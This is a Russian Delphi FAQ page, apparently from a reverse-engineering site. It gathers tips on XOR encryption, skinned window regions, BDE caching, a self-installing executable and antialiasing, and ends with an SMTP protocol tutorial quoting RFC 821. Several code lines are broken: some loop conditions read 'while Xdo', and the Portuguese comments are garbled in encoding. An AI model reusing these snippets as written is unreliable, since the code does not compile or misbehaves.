Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 сентября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Простой пример XOR шифрования

Автор: Igor N. Semenushkin

Вот ужасно простой пример XOR шифрования - работает без глюков.


 var
   key, text, longkey, result: string;
   i: integer;
   toto, c: char;
 begin
   for i := 0 to (length(text) div length(key)) do
     longkey := longkey + key;
   for i := 1 to length(text) do
   begin
     toto := chr((ord(text[i]) xor ord(longkey[i]))); // XOR алгоритм
     result := result + toto;
   end;
 end;
 




Создать растягиваемую без бордюра форму


 {
   With this code you can create none border style (BorderStyle = bsNone)
   but sizeable windows (forms)
   First you must set BorderStyle := bsNone of your Form in Object Browser.
   There is your small but forced code;
 }
 
 type
   TForm1 = class(TForm)
   private
     { Private declarations }
   public
     { Public declarations }
     procedure CreateParams(var Params: TCreateParams); override;
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.dfm}
 
 procedure TForm1.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   Params.Style := (Params.Style or WS_THICKFRAME);
 end;
 
 




Величина SizeOf

Автор: Dennis Passmore

В Delphi 2.0 при использовании функции sizeof для моей записи:


 f_format = record
   format_name : string[8];
   file_size  : smallint;
   fields     : smallint;
 end;
 

sizeof (format_name) возвращает 9
sizeof (file_size) возвращает 2
sizeof (fields) возвращает 2

sizeof(f_format) возвращает 14 ; Почему это не возвращает 13 ??????

Вам необходимо выключить опцию компилятора 'the Align Record Fields' (выравнивание полей записи).




Скины

Немного предистории:

надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом, бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.

Далее следует исходный код с комментариями:


 unit RgnUnit;
 
 interface
 
 uses
   Windows, SysUtils, Classes;
 
 function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
 {
 Данная функция создает регион, используя для этого растр Bitmap
 и исключая из него цвет TransClr. Все расчеты производятся для
 устройства DC.
 
 данная функция состоит из двух частей:
 
 первая часть выделяет память и копирует туда исходное изображение в формате
 24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
 данного раздела памяти будет записан цвет точки исходного изображения.
 Данный формат был выбран из удобства его обработки
 (нет необходимости создавать палитру), к тому же нет потери качества
 при конвертации исходного изображения. Однако, теоретически можно использовать
 любой формат.
 
 Для выделения памяти под конвертируемое изображение используется функция
 WinAPI CreateDIBSection. Данная функция выделяет память и создает
 независмый растр. Для вызова данной функции необходимо заполнить структуру
 BITMAPINFO, что достаточно не сложно.
 Внимание! для изображений Windows Bitmap используется разрешение в формате
 dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
 2834dpm.
 
 Фактически, данную функция можно не использовать, вручную выделив память
 для последующего переноса исходного изображения.
 
 Для конвертации и переноса исходного изображения в выделнную память
 используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
 исходное изображение, количество рядов для переноса, указатель на память,
 куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
 шестью членами (именно здесь задяются параметры для конвертирования
 изображения). Фактически, данная функция может перевести любой исходный растр
 в любой необходимый растр.
 
 вторая чать описываемой функции проходится по области памяти, куда было
 занесено конвертируемое изображение, отсекает ненужные области и содает регион.
 Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
 данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
 RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
 RGNDATA описана так:
 
 _RGNDATA = record
 rdh: TRgnDataHeader;
 Buffer: array[0..0] of CHAR;
 Reserved: array[0..2] of CHAR;
 end;
 RGNDATA = _RGNDATA;
 
 Скорее всего, поле Reserved было введено программистами Дельфи только для того,
 чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
 этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
 учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
 выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
 необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
 создавать указатель на структуру RGNDATA и ставить его на выделнную память.
 
 Следовательно, придется два раза пройтись по растру: первый раз - для расчета
 количества прямоугольников, а второй - для уже фактического их занесения
 в выделенную память.
 
 Есть несколько способов для избежания двойного прохода растра, но все они
 имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
 больших и сложных изображений эти два прохода достаточно быстры.
 
 по окнчании работы функции освобождается память, выделенная на конвертируемый
 растр и структуру RGNDATA.
 }
 
 implementation
 
 //создает регион из растра Bitmap для DC с удалением цвета TransClr
 //внимание! TColorRef и TColor не одно и тоже.
 //Для перевода используется функция ColorToRGB().
 
 function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
 var
   bmInfo: TBitmap;               // структура BITMAP WinAPI
   W, H: Integer;                 // высота и ширина растра
   bmDIB: hBitmap;                // дискрептор независимого растра
   bmiInfo: BITMAPINFO;           // структура BITMAPINFO WinAPI
   lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
   lpData: PRgnData;              // указатель на структуру RGNDATA WinAPI
   X, Y, C, F, I: Integer;        // переменные циклов
   Buf: Pointer;                  // указатель
   BufSize: Integer;              // размер указателя
   rdhInfo: TRgnDataHeader;       // структура RGNDATAHEADER WinAPI
   lpRect: PRect;                 // указатель на TRect (RECT WinAPI)
 begin
   Result:=0;
   //если растр не задан, выходим
   if Bitmap=0 then
     Exit;
 
   //узнаем размеры растра
   GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
   //используя структуру BITMAP
   W:=bmInfo.bmWidth;
   H:=bmInfo.bmHeight;
   //определяем смещение в байтах
   I:=(W*3)-((W*3) div 4)*4;
   if I<>0 then
     I:=4-I;
 
   //Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
   //дополняется нулевыми байтами до ее кратности 4.
   //для 32-х битный растров такой сдвиг делать не надо.
 
   //заполняем BITMAPINFO для передачи в CreateDIBSection
 
   bmiInfo.bmiHeader.biWidth:=W;            // ширина
   bmiInfo.bmiHeader.biHeight:=H;           // высота
   bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
   bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
   bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
   bmiInfo.bmiHeader.biSizeImage:=0;        // размер не знаем, ставим в ноль
   bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
   bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
   bmiInfo.bmiHeader.biClrUsed:=0;          // палитры нет, все в ноль
   bmiInfo.bmiHeader.biClrImportant:=0;     // то же
   bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
   bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
   Pointer(lpBits), 0, 0);
   //создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
   //адрес первого байта этого растра. bmDIB - дискрептор растра
 
   //заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits
 
   bmiInfo.bmiHeader.biWidth:=W;            // ширина
   bmiInfo.bmiHeader.biHeight:=H;           // высота
   bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
   bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
   bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
   bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
   GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
   //конвертируем исходный растр в наш с его копированием по адресу lpBits
 
   lpOldBits:=lpBits; //запоминаем адрес lpBits
 
   //первый проход - подсчитываем число прямоугольников, необходимых для
   //создания региона
   C:=0; //сначала ноль
   //проход снизу вверх
   for Y:=H-1 downto 0 do
   begin
     X:=0;
     //от 0 до ширины-1
     while Xdo
     begin
       //пропускаем прзрачный цвет, увеличивая координату и указатель
       while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
       lpBits.rgbtBlue)=TransClr) and (Xdo
       begin
         Inc(lpBits);
         X:=X+1;
       end;
       //если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
       if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
       lpBits.rgbtBlue)<>TransClr then
       begin
         while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
         lpBits.rgbtBlue)<>TransClr) and (Xdo
         begin
           Inc(lpBits);
           X:=X+1;
         end;
         //увиличиваем счетчик прямоугольников
         C:=C+1;
       end;
     end;
     //ряд закончился, необходимо увеличить указатель до кратности 4
     PChar(lpBits):=PChar(lpBits)+I;
   end;
 
   lpBits:=lpOldBits; //восстанавливаем значение lpBits
 
   //Заполняем структуру RGNDATAHEADER
   rdhInfo.iType:=RDH_RECTANGLES;     // будем использовать прямоугольники
   rdhInfo.nCount:=C;                 // их количество
   rdhInfo.nRgnSize:=0;               // размер выделяем памяти не знаем
   rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
   rdhInfo.dwSize:=SizeOf(rdhInfo);   // размер структуры
 
   //выделяем память для струтуры RGNDATA:
   //сумма RGNDATAHEADER и необходимых на прямоугольников
   BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
   GetMem(Buf, BufSize);
   //ставим указатель на выделенную память
   lpData:=Buf;
   //заносим в память RGNDATAHEADER
   lpData.rdh:=rdhInfo;
 
   //Заполдяенм память прямоугольниками
   lpRect:=@lpData.Buffer; //первый прямоугольник
   for Y:=H-1 downto 0 do
   begin
     X:=0;
     while Xdo
     begin
       while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
       lpBits.rgbtBlue)=TransClr) and (Xdo
       begin
         Inc(lpBits);
         X:=X+1;
       end;
       if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
       lpBits.rgbtBlue)<>TransClr then
       begin
         F:=X;
         while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
         lpBits.rgbtBlue)<>TransClr) and (Xdo
         begin
           Inc(lpBits);
           X:=X+1;
         end;
         lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
         Inc(lpRect); //переходим к следующему
       end;
     end;
     PChar(lpBits):=PChar(lpBits)+I;
   end;
 
   //после окночания заполнения структуры RGNDATA можно создавать регион.
   //трансформации нам не нужны, ставим в nil, указываем размер
   //созданной структуры и ее саму.
 
   //создаем регион
   Result:=ExtCreateRegion(nil, BufSize, lpData^);
 
   //теперь структура RGNDATA больше не нужна, удаляем
   FreeMem(Buf, BufSize);
   //созданный растр тоже удаляем
   DeleteObject(bmDIB);
 end;
 
 end.
 




Очень медленный доступ к таблице при первом обращении

Данная проблема возникает из-за того, что BDE вначале запрашивает базу данных для получения информации о таблице, прежде чем он начнет с ней работать. Как только появляется информация о таблице, она кэшируется и обращение к таблице во время всего сеанса (пока TDatabase.Connection имеет значение True) происходит практически мгновенно. Для того, чтобы использовать кэшируемую информацию и при последующем запуске приложения, в конфигурации BDE найдите необходимый псевдоним и установите BDE CACHE = TRUE и BDE CACHE DIR = 'C:\temp' или любой другой удобный каталог.

ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.




Создание уменьшенной копии картинки

Собрались программисты на перекур. Сидят они и битые полчаса говорят о компьютерах. Тут кто-то из них восклицает:
- Ребята, что мы всё о компьютерах, да о компьютерах... Давайте лучше поговорим о женщинах!
- Точно! Давайте! Вот я вчера такие гифы с бабами скачал!..


 // Muito bom para se usar como Skins...
 
 unit ProjetoX_Screen;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ExtCtrls, StdCtrls, DBCtrls;
 
 type
   TFormScreen = class(TForm)
     ImgFundo: TImage;
     procedure FormCreate(Sender: TObject);
   public
     { Public declarations }
     MyRegion : HRGN;
     function BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
   end;
 
 var
   FormScreen: TFormScreen;
 
 implementation
 
 {$R *.DFM}
 {===========================molda o formato do formulЯrio no bitmap}
 function TFormScreen.BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
 
 const
   ALLOC_UNIT = 100;
 
 var
   MemDC, DC: HDC;
   BitmapInfo: TBitmapInfo;
   hbm32, holdBmp, holdMemBmp: HBitmap;
   pbits32 : Pointer;
   bm32 : BITMAP;
   maxRects: DWORD;
   hData: HGLOBAL;
   pData: PRgnData;
   b, CR, CG, CB : Byte;
   p32: pByte;
   x, x0, y: integer;
   p: pLongInt;
   pr: PRect;
   h: HRGN;
 
 begin
   Result := 0;
   if hBmp <> nil then
   begin
     { Cria um Device Context onde serЯ armazenado o Bitmap }
     MemDC := CreateCompatibleDC(0);
     if MemDC <> 0 then
     begin
      { Cria um Bitmap de 32 bits sem compressТo }
       with BitmapInfo.bmiHeader do
       begin
         biSize          := sizeof(TBitmapInfoHeader);
         biWidth         := hBmp.Width;
         biHeight        := hBmp.Height;
         biPlanes        := 1;
         biBitCount      := 32;
         biCompression   := BI_RGB;
         biSizeImage     := 0;
         biXPelsPerMeter := 0;
         biYPelsPerMeter := 0;
         biClrUsed       := 0;
         biClrImportant  := 0;
       end;
       hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);
       if hbm32 <> 0 then
       begin
         holdMemBmp := SelectObject(MemDC, hbm32);
         {
           Calcula quantos bytes por linha o bitmap de 32 bits ocupa.
         }
         GetObject(hbm32, SizeOf(bm32), @bm32);
         while (bm32.bmWidthBytes mod 4) > 0 do
           inc(bm32.bmWidthBytes);
         DC := CreateCompatibleDC(MemDC);
         { Copia o bitmap para o Device Context }
         holdBmp := SelectObject(DC, hBmp.Handle);
         BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);
         {
           Para melhor performance, serЯ utilizada a funюТo ExtCreasteRegion
           para criar o HRGN. Esta funюТo recebe uma estrutura RGNDATA.
           Cada estrutura terЯ 100 retФngulos por padrТo (ALLOC_UNIT)
         }
         maxRects := ALLOC_UNIT;
         hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +
            SizeOf(TRect) * maxRects);
         pData := GlobalLock(hData);
         pData^.rdh.dwSize := SizeOf(TRgnDataHeader);
         pData^.rdh.iType := RDH_RECTANGLES;
         pData^.rdh.nCount := 0;
         pData^.rdh.nRgnSize := 0;
         SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
         { Separa o pixel em suas cores fundamentais }
         CR := GetRValue(ColorToRGB(TransColor));
         CG := GetGValue(ColorToRGB(TransColor));
         CB := GetBValue(ColorToRGB(TransColor));
         {
           Processa os pixels bitmap de baixo para cima, jЯ que bitmaps sТo
           verticalmente invertidos.
         }
         p32 := bm32.bmBits;
         inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);
         for y := 0 to hBmp.Height-1 do
         begin
           { Processa os pixels do bitmap da esquerda para a direita }
           x := -1;
           while x+1 < hBmp.Width do
           begin
             inc(x);
             { Procura por uma faixa contЭnua de pixels nТo transparentes }
             x0 := x;
             p := PLongInt(p32);
             inc(PChar(p), x * SizeOf(LongInt));
             while x < hBmp.Width do
             begin
               b := GetBValue(p^);
               if (b = CR) then
               begin
                 b := GetGValue(p^);
                 if (b = CG) then
                 begin
                   b := GetRValue(p^);
                   if (b = CB) then
                     break;
                 end;
               end;
               inc(PChar(p), SizeOf(LongInt));
               inc(x);
             end;
             if x > x0 then
             begin
               {
                 Adiciona o intervalo de pixels [(x0, y),(x, y+1)] como um novo
                 retФngulo na regiТo.
               }
               if pData^.rdh.nCount >= maxRects then
               begin
                 GlobalUnlock(hData);
                 inc(maxRects, ALLOC_UNIT);
                 hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +
                    SizeOf(TRect) * maxRects, GMEM_MOVEABLE);
                 pData := GlobalLock(hData);
                 Assert(pData <> NIL);
               end;
               pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];
               SetRect(pr^, x0, y, x, y+1);
               if x0 < pData^.rdh.rcBound.Left then
                 pData^.rdh.rcBound.Left := x0;
               if y < pData^.rdh.rcBound.Top then
                 pData^.rdh.rcBound.Top := y;
               if x > pData^.rdh.rcBound.Right then
                 pData^.rdh.rcBound.Left := x;
               if y+1 > pData^.rdh.rcBound.Bottom then
                 pData^.rdh.rcBound.Bottom := y+1;
               inc(pData^.rdh.nCount);
               {
                No Windows98, a funюТo ExtCreateRegion() pode falhar se o n·mero
                de retФngulos for maior que 4000. Por este motivo, a regiТo deve
                ser criada por partes com menos de 4000 retФngulos. Neste caso, foram
                padronizadas regi§es com 2000 retФngulos.
               }
               if pData^.rdh.nCount = 2000 then
               begin
                 h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
                    (SizeOf(TRect) * maxRects), pData^);
                 Assert(h <> 0);
                { Combina a regiТo parcial, recЪm criada, com as anteriores }
                 if Result <> 0 then
                 begin
                   CombineRgn(Result, Result, h, RGN_OR);
                   DeleteObject(h);
                 end else
                   Result := h;
                 pData^.rdh.nCount := 0;
                 SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
               end;
             end;
           end;
           Dec(PChar(p32), bm32.bmWidthBytes);
         end;
         { Cria a regiТo geral }
         h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
            (SizeOf(TRect) * maxRects), pData^);
         Assert(h <> 0);
         if Result <> 0 then
         begin
           CombineRgn(Result, Result, h, RGN_OR);
           DeleteObject(h);
         end else
           Result := h;
         { Com a regiТo final completa, o bitmap de 32 bits pode ser
           removido da mem¾ria, com todos os outros ponteiros que foram criados.}
         GlobalFree(hData);
         SelectObject(DC, holdBmp);
         DeleteDC(DC);
         DeleteObject(SelectObject(MemDC, holdMemBmp));
       end;
     end;
     DeleteDC(MemDC);
   end;
 end;
 
 procedure TFormScreen.FormCreate(Sender: TObject);
 begin
 
 {carregue uma imagem na TImage ImgFundo}
 
 {redesenha o formulario no formato do ImgFundo}
         MyRegion := BitmapToRegion(imgFundo.Picture.Bitmap,imgFundo.Canvas.Pixels[0,0]);
         SetWindowRgn(Handle,MyRegion,True);
 end;
 
 
 
 
 
 
 Para os outros formulЯrios basta declarar as seguintes linhas na procedure FormCreate
 
 procedure TFormXXXXXX.FormCreate(Sender: TObject);
 begin
 
 {carregue uma imagem na TImage ImgFundo}
 
 {redesenha o formulario no formato do ImgFundo}
         FormScreen.MyRegion := FormScreen.BitmapToRegion(imgFundo.Picture.Bitmap,
           imgFundo.Canvas.Pixels[0,0]);
         SetWindowRgn(Handle,FormScreen.MyRegion,True);
 end;
 




Написать очень маленький инсталлятор

Я тебя инстальнул - я тебя и убью!

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.


 Application.Initialize;
 if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then
   // форма инсталлятора
   Application.CreateForm(TSetupForm, SetupForm)
 else
   // форма основной программы
   Application.CreateForm(TMainForm, MainForm);
 Application.Run;
 

Вполне очевидно, что вместо переименования можно запускать программу с различными ключами, например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект состоит из одного файла




Убрать зазубринки при рисовании линий

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения, как в предыдущем совете.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   x, y: integer;
   i, j: integer;
   r, g, b: integer;
 begin
   Form1.Canvas.Pen.Width := 10;
   Form1.Canvas.MoveTo(10, 10);
   Form1.Canvas.LineTo(90, 20);
   for y := 0 to 10 do
   begin
     for x := 0 to 25 do
     begin
       r := 0;
       for i := 0 to 3 do
         for j := 0 to 3 do
           r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
       r := round(r / 16);
       g := 0;
       for i := 0 to 3 do
         for j := 0 to 3 do
           g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
       g := round(g / 16);
       b := 0;
       for i := 0 to 3 do
         for j := 0 to 3 do
           b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
       b := round(b / 16);
       Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
     end;
     Application.ProcessMessages;
   end;
 end;
 




Простой протокол передачи почты (SMTP)


- Здpавствyйте, вы позвонили в Интеpнет, говоpите, пожалyйста, гpомче, вас плохо слышно, здесь столько людей!

Агент передачи почты - основной компонент системы передачи почты Internet. Как уже говорилось, МТА как бы представляет данный сетевой компьютер для сетевой системы электронной почты. Пользователи редко имеют дело с МТА, поскольку он не вполне "дружелюбен", однако без него не обходится ни одна почтовая система. После того как UA пошлет сообщение в выходную очередь, за дело принимается МТА. Он извлекает сообщение и посылает его другому МТА. Этот процесс продолжается до тех пор, пока сообщение не достигнет компьютера-получателя. Для передачи сообщений по TCP-соединению большинство МТА пользуются протоколом SMTP. Сообщения форматированы по правилам виртуального сетевого терминала (NVT), то есть в NVT ASCII. NVT подобен виртуальному сетевому протоколу и нужен затем, чтобы скрыть различия в восприятии разными компьютерами разных символов, например переводов каретки, переводов строки, маркеров конца строки, очистки экрана и т. д. Символ в NVT состоит из семи битов набора ASCII и является буквой, цифрой или знаком пунктуации. Семи битный набор ASCII часто называется NVT ASCII.

Модель протокола

Взаимодействие в рамках SMTP строится по принципу двусторонней связи, которая устанавливается между отправителем и получателем почтового сообщения. При этом отправитель инициирует соединение и посылает запросы на обслуживание, а получатель - отвечает на эти запросы. Фактически отправитель выступает в роли клиента, а получатель - сервера.

Канал связи устанавливается непосредственно между отправителем и получателем сообщения. При таком взаимодействии почта достигает абонента в течение нескольких секунд после отправки.

Команды SMTP

Простой протокол передачи почты обеспечивает двухсторонний обмен сообщениями между локальным клиентом и удаленным сервером МТА. МТА-клиент шлет команды МТА-серверу, а он, в свою очередь, отвечает клиенту. Другими словами, протокол SMTP требует получать ответы (они описаны в этой главе) от приемника команд SMTP. Обмен командами и ответами на них называется почтовой транзакцией (mail transaction). Данные, как мы уже говорили, передаются в формате NVT ASCII. Кроме того, команды тоже передаются в формате NVT ASCII. Команды передаются в форме ключевых слов, а не специальных символов, и указывают на необходимость совершить ту или иную операцию. В табл.1 приведен список ключевых слов (команд), определенный в спецификации SMTP - RFC 821.

Команда Обязательна Описание
HELO X Идентифицирует модуль-передатчик для модуля-приемника (hello).
MAIL X Начинает почтовую транзакцию, которая завершается передачей данных в один или несколько почтовых ящиков (mail).
RCPT X Идентифицирует получателя почтового сообщения (recipient).
DATA Строки, следующие за этой командой, рассматриваются получателем как данные почтового сообщения. В случае SMTP, почтовое сообщение заканчивается комбинацией символов: CRLF-точка-CRLF.
RSET Прерывает текущую почтовую транзакцию (reset).
NOOP Требует от получателя не предпринимать никаких действий, а только выдать ответ ОК. Используется главным образом для тестирования.(No operation).
QUIT Требует выдать ответ ОК и закрыть текущее соединение.
VRFY Требует от приемника подтвердить, что ее аргумент является действительным именем пользователя. (См. примечание.).
SEND Начинает почтовую транзакцию, доставляющую данные на один или несколько терминалов (а не в почтовый ящик).
SOML Начинает транзакцию MAIL или SEND, доставляющую данные на один или несколько терминалов или в почтовые ящики.
SAML Начинает транзакцию MAIL и SEND, доставляющие данные на один или несколько терминалов и в почтовые ящики.
EXPN Команда SMTP-приемнику подтвердить, действительно ли аргумент является адресом почтовой рассылки и если да, вернуть адрес получателя сообщения (expand).
HELP Команда SMTP-приемнику вернуть сообщение-справку о его командах.
TURN Команда SMTP-приемнику либо сказать ОК и поменяться ролями, то есть стать STMP- передатчиком, либо послать сообщение-отказ и остаться в роли SMTP-приемника.
     

Таблица 1. Команды простого протокола передачи почты (SMTP)

Примечание: В RFC 821 сказано, что команда VRFY не является обязательной для минимального набора команд SMTP. Однако в RFC 1123 <Требования для сетевых компьютеров Internet - приложения и обеспечение работы> (Requirements for Internet Hosts - Application and Support,Braden, 1989), команда VRFY фигурирует в списке обязательных для Internet команд реализации SMTP.

В соответствии со спецификацией команды, помеченные крестиком (X) в табл.1, обязаны присутствовать в любой реализации SMTP. Остальные команды SMTP могут быть реализованы дополнительно. Каждая SMTP-команда должна заканчиваться либо пробелом (если у нее есть аргумент), либо комбинацией CRLF. В описании команд употреблялось слово <данные", а не <сообщение>. Этим подчеркивалось, что, кроме текста, SMTP позволяет передавать и двоичную информацию, например графические или звуковые файлы. Другими словами, SMTP способен передавать данные любого содержания, а не только текстовые сообщения. Это значит, что, рассматривая вопросы, касающиеся SMTP, не забывайте, что термин "сообщениее" обозначает не только текстовые данные.

Последовательность команд SMTP

Как мы уже отмечали, SMTP обеспечивает двухстороннюю связь между агентами передачи почты (МТА), клиентом и сервером. Клиенты шлют команды серверу, а серверы отвечают клиентам. Однако SMTP оговаривает последовательность SMTP-команд. Лучший способ понять это - взглянуть на образец почтовой транзакции. Следующий пример (он взят целиком из RFC 821) демонстрирует типичную почтовую транзакцию. В примере фигурирует мистер Smith (на компьютере usc.edu), посылающий сообщения мистерам Jones, Green и Brown (на компьютере mit.edu). Агент передачи почты хоста mit.edu принимает почту для мистеров Jones и Brown, однако не знает, где расположен почтовый ящик мистера Green.

Для целей дальнейшего повествования каждой строке присвоен номер и обозначено, кому они принадлежат - передатчику или приемнику. Текст справа от слов или содержит действительно передаваемые данные. Трехзначные цифровые комбинации в начале передаваемых строк обозначают коды ответа (их значение объясняется позже). Ответ SMTP похож на сообщения-подтверждения о доставке, поскольку появляется лишь в том случае, когда приемник получил данные.

  1. RECEIVER 220 mit.edu Simple Mail Transfer Service Ready
  2. SENDER HELO usc.edu
  3. RECEIVER 250 mit.edu
  4. SENDER MAIL FROM: <Smith@usc.edu>
  5. RECEIVER 250 OK
  6. SENDER RCPT TO:<Jones@mit.edu>
  7. RECEIVER 250 OK
  8. SENDER RCPT TO:<Green@mit.edu>
  9. RECEIVER 550 No such user here
  10. SENDER RCPT TO:<Brown@mit.edu>
  11. RECEIVER 250 OK
  12. SENDER DATA
  13. RECEIVER 354 Start mail input; end with <CRLF>.<CRLF>
  14. SENDER Blah blah blah...
  15. SENDER ...etc. etc. etc.
  16. SENDER .
  17. RECEIVER 250 OK
  18. SENDER QUIT
  19. RECEIVER 221 mit.edu Service closing transmission channel

Как видно из строки 1, когда SMTP-клиент устанавливает TCP-соединение с портом протокола 25, SMTP-сервер отвечает кодом 220. Это означает, что соединение успешно установлено:

  1. RECEIVER: 220 mit.edu Simple Mail Transfer Service Ready

После того как MTA компьютеров mit.edu и usc.edu установили соединение и обменялись приветствием, первой командой, согласно спецификации, должна быть команда HELO. Как указано в строке 2, SMTP-клиент передает HELO, указывая имя своего компьютера в качестве аргумента. Другими словами, он сообщает: <Привет, я - usc.edu>. Команда HELO употребляется с аргументом, как показано ниже:

  1. SENDER: HELO usc.edu

В ответ на HELO приемник выдает код 250, сообщая передатчику о том, что команда принята и обработана:

  1. RECEIVER: 250 mit.edu

После установления TCP-соединения и идентификации (при помощи HELO) SMTP-клиент приступает к почтовой транзакции. Для начала он выполняет одну из следующих команд: MAIL, SEND, SOML или SAML. В нашем примере использована команда MAIL:

  1. SENDER: MAIL FROM:<Smith@usc.edu>

Все четыре команды, MAIL, SEND, SOML и SAML, имеют одинаковый синтаксис:

  • MAIL <пробел> FROM:<reverse-path> <carriage-return line-feed>

Примечание: Команды SEND, SOML и SAML дополнительны и используются довольно редко.

Аргумент <обратный путь> (reverse path) указывает серверу, кому в случае ошибки отослать соответствующее сообщение. Мы еще рассмотрим его подробнее. На данный момент для нас важно, что в аргументе содержится адрес источника сообщения (в нашем случае, Smith@usc,edu). После того как сервер выдал код ответа 250 (строка 5), согласившись обработать сообщение от Smith@usc.edUt необходимо указать получателя сообщения. Это делается при помощи команды RCPT. Команда RCPT имеет аргумент - имя получателя. На одну команду приходится только одно имя, поэтому, если получателей несколько, команда RCPT выдается несколько раз. В нашем примере команды RCPT выполняются в строках 6, 8 и 10. Синтаксис RCPT похож на синтаксис команды MAIL:

  • RCPT <пробел> TO:<forward-path> <CRLF>

Однако, в отличие от MAIL, аргумент RCPT начинается со слова <ТО:>. Содержимое аргумента - путь передачи сообщения (forward path), а не обратный путь. На данный момент для нас важно, что в пути передачи сообщения указано имя почтового ящика получателя. Выдав команду RCPT, МТА-клиент ожидает получить ответ с кодом 250. Однако в ответ на восьмую строку

  1. SENDER: RCPT TO:<Green@mit.edu>

сервер отвечает кодом 550:

  1. RECEIVER: 550 No such user here

Код ответа 550 означает, что МТА не в состоянии выполнить запрос клиента, поскольку не знает, как доставить почту указанному пользователю. То есть, скорее всего, у мистера по фамилии Green нет почтового ящика (Green@mit,edu) на этом компьютере. В протоколе SMTP сказано, что сервер обязан информировать клиента об отсутствии почтового ящика получателя сообщения. Однако в спецификации SMTP ничего не говорится о том, как клиент должен реагировать на это сообщение.

